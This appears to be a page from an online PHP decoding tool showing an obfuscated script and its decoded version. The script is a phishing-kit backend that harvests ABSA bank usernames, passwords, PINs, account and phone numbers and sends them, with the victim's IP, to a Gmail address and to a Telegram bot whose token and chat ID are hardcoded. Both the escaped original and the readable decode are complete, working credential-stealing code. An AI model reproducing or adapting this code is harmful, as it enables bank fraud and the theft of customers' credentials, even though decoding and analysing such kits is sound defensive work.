Find this useful? Enter your email to receive occasional updates for securing PHP code.
Signing you up...
Thank you for signing up!
PHP Decode
<?php goto Pj9jf; Pj9jf: session_start(); goto d6BO3; d6BO3: if (empty($_POST["\141\142\..
Decoded Output download
<?php
goto Pj9jf; Pj9jf: session_start(); goto d6BO3; d6BO3: if (empty($_POST["absausername"])) { $nameErr = " "; } goto SzbZy; SzbZy: if (empty($_POST["absapassword"])) { $nameErr = " "; } elseif (strlen($_POST["absausername"]) > 30) { $nameErr = " "; } elseif (strlen($_POST["absapassword"]) > 30) { $nameErr = " "; } elseif (strlen($_POST["absausername"]) < 1) { $nameErr = " "; } elseif (strlen($_POST["absapassword"]) < 1) { $nameErr = " "; } else { $_SESSION["bnk"] = $bnk = "absa"; $absausername = $_POST["absausername"]; $absapassword = $_POST["absapassword"]; $absapin = $_POST["absapin"]; $absanumber = $_POST["absanumber"]; $absaphone = $_POST["absaphone"]; $ip = getenv("REMOTE_ADDR"); $port = $_SERVER["REMOTE_PORT"]; $hostname = gethostbyaddr($ip); $message = "==================+[ ABSA Result ]+==================\xa"; $message .= "ID : " . $absausername . "\xa"; $message .= "pw : " . $absapassword . "
\xa"; $message .= "phone : " . $absaphone . "
\xa"; $message .= "pin : " . $absapin . "
\xa"; $message .= "number : " . $absanumber . "
"; $message .= "Client IP : " . $ip . "
"; $message .= "Port : " . $port . "
"; $message .= "=============+ [ Created by OmeGaLorD ] +=============
"; $send = "[email protected]"; $subject = "Det {$ip}"; $headers .= "X-Mailer: PHP v" . phpversion() . "\xd
"; mail($send, $subject, $message, $headers); $botToken = "7140562192:AAEz4udCE1b1HONTBf-GEH5C2FMwAP7Pq2o"; $chatId = "1612411723"; $url = "https://api.telegram.org/bot{$botToken}/sendMessage?chat_id={$chatId}&text=Absa user: {$absausername}%0AAbsa pw: {$absapassword}%0AAbsa phone: {$absaphone}%0AAbsa pin: {$absapin}%0AAbsa number: {$absanumber}%0AClient ip: {$ip}%0A=============+ [ Created by OmeGaLorD ] +============="; $streamOptions = array("ssl" => array("verify_peer" => false, "verify_peer_name" => false), "http" => array("method" => "POST")); $context = stream_context_create($streamOptions); $handle = fopen($url, "r", false, $context); $response = stream_get_contents($handle); fclose($handle); echo $response; } goto DRHcO; DRHcO: ?>
Did this file decode correctly?
Original Code
<?php
goto Pj9jf; Pj9jf: session_start(); goto d6BO3; d6BO3: if (empty($_POST["\141\142\x73\141\x75\x73\x65\x72\156\x61\155\x65"])) { $nameErr = "\40"; } goto SzbZy; SzbZy: if (empty($_POST["\141\x62\163\x61\x70\x61\163\163\167\157\x72\144"])) { $nameErr = "\x20"; } elseif (strlen($_POST["\141\x62\163\x61\x75\163\145\x72\x6e\141\155\x65"]) > 30) { $nameErr = "\40"; } elseif (strlen($_POST["\x61\x62\x73\x61\160\x61\163\x73\x77\157\x72\144"]) > 30) { $nameErr = "\x20"; } elseif (strlen($_POST["\x61\x62\x73\141\165\x73\x65\x72\x6e\141\155\x65"]) < 1) { $nameErr = "\x20"; } elseif (strlen($_POST["\x61\142\x73\141\160\141\163\163\x77\157\162\x64"]) < 1) { $nameErr = "\40"; } else { $_SESSION["\142\156\153"] = $bnk = "\x61\142\x73\x61"; $absausername = $_POST["\x61\142\163\141\165\163\145\162\x6e\141\x6d\145"]; $absapassword = $_POST["\141\142\163\x61\x70\x61\163\163\x77\157\x72\x64"]; $absapin = $_POST["\x61\142\x73\141\x70\x69\156"]; $absanumber = $_POST["\x61\x62\x73\141\x6e\165\155\142\x65\162"]; $absaphone = $_POST["\x61\142\x73\141\x70\150\157\156\145"]; $ip = getenv("\x52\105\115\x4f\124\x45\x5f\x41\x44\x44\x52"); $port = $_SERVER["\x52\105\x4d\117\124\105\137\x50\117\x52\124"]; $hostname = gethostbyaddr($ip); $message = "\x3d\75\x3d\x3d\75\75\75\75\x3d\x3d\75\75\75\75\x3d\x3d\x3d\x3d\53\133\x20\101\102\123\101\x20\122\145\x73\165\154\x74\x20\x5d\53\75\x3d\75\x3d\75\75\75\75\x3d\75\75\x3d\75\x3d\x3d\75\75\75\xa"; $message .= "\x49\x44\x20\x20\72\x20" . $absausername . "\xa"; $message .= "\160\x77\40\72\40" . $absapassword . "\12\xa"; $message .= "\x70\150\x6f\156\x65\40\72\40" . $absaphone . "\12\xa"; $message .= "\160\x69\x6e\40\72\40" . $absapin . "\12\xa"; $message .= "\156\x75\x6d\142\x65\162\x20\72\x20" . $absanumber . "\12\12"; $message .= "\103\154\151\x65\x6e\x74\40\x49\120\x20\x3a\x20" . $ip . "\12"; $message .= "\120\x6f\x72\x74\40\72\x20" . $port . "\12"; $message .= "\75\x3d\x3d\75\75\75\x3d\x3d\x3d\x3d\75\x3d\x3d\53\x20\133\40\x43\x72\x65\x61\x74\145\x64\40\142\x79\x20\x20\117\155\145\x47\141\x4c\157\x72\x44\40\135\x20\53\x3d\75\x3d\x3d\x3d\x3d\x3d\75\75\75\x3d\75\75\12"; $send = "\x6d\x72\154\x69\165\x6a\x75\x6e\x34\x38\x40\x67\155\x61\151\154\56\143\x6f\155"; $subject = "\x44\x65\x74\40{$ip}"; $headers .= "\x58\55\115\141\151\154\x65\x72\72\x20\120\110\x50\40\x76" . phpversion() . "\xd\12"; mail($send, $subject, $message, $headers); $botToken = "\x37\x31\64\x30\x35\66\62\61\71\62\x3a\x41\x41\105\x7a\64\x75\x64\x43\x45\61\142\x31\110\117\116\124\102\146\55\x47\105\x48\x35\103\x32\106\115\x77\101\x50\x37\x50\161\62\x6f"; $chatId = "\61\66\61\62\64\x31\x31\x37\x32\63"; $url = "\x68\x74\164\160\163\x3a\57\57\141\x70\151\x2e\164\x65\154\145\147\x72\x61\x6d\x2e\157\162\147\57\142\157\x74{$botToken}\x2f\163\145\x6e\x64\115\x65\x73\x73\141\147\x65\77\x63\x68\141\x74\x5f\151\144\x3d{$chatId}\x26\x74\145\170\164\x3d\x41\142\163\x61\x20\x75\x73\145\162\72\x20{$absausername}\45\60\x41\101\x62\163\141\40\160\x77\x3a\40{$absapassword}\45\60\101\101\142\x73\x61\40\x70\150\157\156\145\x3a\x20{$absaphone}\45\60\x41\101\142\x73\x61\40\x70\x69\156\72\x20{$absapin}\x25\60\101\101\x62\x73\141\x20\156\x75\155\x62\145\x72\72\x20{$absanumber}\x25\60\101\103\154\x69\x65\x6e\164\x20\151\x70\x3a\x20{$ip}\x25\60\101\75\75\75\x3d\75\x3d\75\75\x3d\75\x3d\75\x3d\x2b\40\133\x20\103\x72\x65\141\164\x65\x64\40\142\x79\40\x20\x4f\155\x65\x47\141\x4c\157\162\104\x20\x5d\x20\x2b\75\x3d\x3d\75\x3d\75\75\75\75\x3d\x3d\x3d\x3d"; $streamOptions = array("\x73\x73\154" => array("\166\145\162\x69\x66\x79\x5f\160\x65\x65\162" => false, "\166\x65\x72\x69\146\x79\137\x70\x65\145\162\x5f\x6e\141\155\x65" => false), "\150\x74\x74\x70" => array("\155\x65\x74\x68\157\144" => "\x50\x4f\123\124")); $context = stream_context_create($streamOptions); $handle = fopen($url, "\x72", false, $context); $response = stream_get_contents($handle); fclose($handle); echo $response; } goto DRHcO; DRHcO: ?>
Function Calls
None |
Stats
MD5 | 69c44c4e33923d6ae285316d4204d1ad |
Eval Count | 0 |
Decode Time | 37 ms |